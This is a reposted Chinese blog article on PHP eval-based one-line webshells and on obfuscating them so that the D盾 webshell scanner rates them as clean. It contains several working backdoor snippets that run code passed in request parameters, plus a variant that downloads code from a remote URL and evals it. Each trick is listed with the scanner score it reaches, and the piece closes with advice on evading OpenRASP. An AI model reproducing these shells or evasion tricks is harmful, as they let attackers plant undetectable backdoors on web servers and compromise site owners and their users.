eval与php一句话的关系

||作者:抹布

part1

首先我们知道,eval能执行php代码,最常见的php一句话也是用eval关键字的。 <?php @eval($_GET["code"])?>

Part2

在论坛学习的时候,有一个现象,如果有人分享免杀一句话,里面用了 eval 这个关键字,很多人就会如图。

Part3

很多表哥都这样说,主要还是因为eval这个函数,在人们心中是个危险函数,基本WAF看见秒杀那种,可事实真的是这样嘛??!

Part4

我们先写一个必被秒杀的一句话

<?php
$a= $_REQUEST[1];
eval($a);
?>

D盾 4级

将变量$a的值引用给$b,所以在这里$a和$b是相等的。

<?php
@$a = $_REQUEST[1];
eval($b=&$a); 
?>

D盾 1级

以前是可以0级的,今天D盾更新了嘎嘎。

Part5

利用php注释/**/ 与括号() 首先我先来看看下面这个一句话

<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval($a);
?>

D盾 1级

那么如何做到0级呢,我们可以利用() /**/

<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval(/**/($a));
?>

D盾并没有扫描出来

关于() /**/早就有大佬写文章时提出了,如何有效利用呢,一般如果你使用回调函数写的一句话,时间久了被waf杀,你可以尝试用这种方法,说不定可以让你的一句话起死回生。

Part5

举个例子嘿 这个马子是很久以前的,早就加入特征库。

<?php $a=fopen('http://xxxx/xx.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print(eval(($c=$b)));fclose($a);

D盾 5级

利用() //来混淆** 这也算是D盾的一种bug。

<?php $a=/**/fopen('http://www.xxx.com/s9mf.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print/**/(/**/eval(/**/($c=$b)/**/)/**/);fclose($a);?>

D盾 0级

Part6

杂谈 各种webshell扫描软件都有不同的优缺点,D盾的话各种能力比较综合,也在不断更新,特征库也比较全,有个有趣的就是D盾扫描一个只有几十字节的一句话报1,2级,只要把这个一句话多加字符串加大体积就变成0级。还有OpenRASP WEBDIR+检测引擎这个真的满厉害的,各种回调基本能杀,但是就算是正常文件体积大点都被查出后门,有点误报,绕过的话,不使用回调来写一句话更容易过,用一些字符串操作符。

本文分享自微信公众号 - nginx遇上redis(GGame_over_the_world)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-04-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券